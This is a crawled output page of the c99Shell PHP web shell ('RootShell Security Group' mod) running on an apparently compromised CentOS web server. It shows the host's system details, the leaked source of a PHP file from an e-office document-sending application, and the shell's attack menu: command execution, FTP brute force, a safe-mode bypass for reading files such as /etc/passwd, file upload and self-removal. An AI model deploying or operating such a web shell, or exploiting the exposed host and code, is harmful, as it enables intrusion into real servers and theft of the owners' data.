!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processSendDocumentNewSR.php (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"funct.php";
include_once 
"../class/clspsdept.php";
include_once 
"../class/clsDocSendtoPsTmp.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsSendNewDocSR.php";
include_once 
"programTSR.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP4 = new Department($oC);
$oDP5 = new Department($oC);
$oDPt = new Department($oC);
$oDPt2 = new Department($oC);
$oDPt3 = new Department($oC);
$oDPt4 = new Department($oC);
$oDPt = new Department($oC);
$oDPt2 = new Department($oC);
$oDPt3 = new Department($oC);
$oDPt4 = new Department($oC);
$oPS = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oPS4 = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRd = new runningdoc($oC);
$oStmp=new DocSendToPsTmp($oC);
$oPSd = new psdept($oC);
$oCd = new collegedetail($oC);
$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oTsr3 = new sendreceive($oC);
$oTsre = new sendreceive($oC);
$oSn = new sendnewdocsr($oC);
$oSn2 = new sendnewdocsr($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();
if(
$method=="AddSendNewSR"){ 

    
$timesend=getNowDateTh()." ".date('H:i:s');
    
//$docpath=searchDocPath($GLOBALS["COLLEGEID"]);
                    
$oTsr->SearchBytsr_docidandtsr_fr_node_tsr_to_nod($DocID,$GLOBALS["COLLEGEID"],$selectdeptv);
                    
$oTsr->GetRecord();
                    
//echo $oTsr->tsr_id;


                            
$oSn->AddNew();
                            
$savesn_id=$oSn->GetNextCode();
                            
$oSn->sn_id=$savesn_id;
                            
//echo '-----'.$savesn_id;
                            
$oSn->sn_fr_node=$oTsr->tsr_fr_node;
                            
//echo '<b>sn_fr_node=</b>'.$oTsr->tsr_fr_node;
                            
$oSn->sn_fr_node_date=$timesend;
                            
//echo '<br><b>tsr_fr_node_date=</b>'.$timesend;
                            
$oSn->sn_to_node=$oTsr->tsr_to_node;
                            
//echo '<br><b>sn_to_node=</b>'.$oTsr->tsr_to_node;
                            
$oSn->sn_doc_url=$docpath.$selectdocv.',';
                            
//echo '<br><b>sn_doc_url=</b>'.$docpath.$selectdocv;
                            
$oSn->sn_docname=$selectdocname;
                            
$chksum_doc.=md5_file($docpath.$selectdocv);
                            
$chksum_doc.=','
                            
$oSn->sn_doc_chksum=$chksum_doc;
                            
//echo '<br><b>sn_doc_chksum=</b>'.$oSn->sn_doc_chksum;
                            
$oSn->sn_tsr_id_send=$oTsr->tsr_id;
                            
//echo '<br><b>sn_tsr_id_send=</b>'.$oSn->sn_tsr_id_send;
                            
$oSn->sn_status='s1';
                            
$oSn->sn_id_send=$savesn_id;
                            
//echo '<b>sn_id_send=</b>'.$savesn_id;
                            
$oSn->Save();

                            
$path_send=sendTor1NewDoc($oSn->sn_id);
                            if(
file_get_contents($path_send)=='mr'){
                                    if(
insertTSRs2NewDoc($oSn->sn_id)=='success'){
                                        
//echo 'status s2 -----waiting download document-----<br>';
                                    
}else{
                                        
//echo 'insertTSR s2 fail<br>';
                                    
}
                            }else{
                                    
//echo 'send to r1 fail<br>';
                            
}

            echo 
"<meta http-equiv='refresh' content='0; URL=showDetailNewSendDocSR.php?DocID=$DocID&DrsID=$DrsID'>";
        
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0151 ]--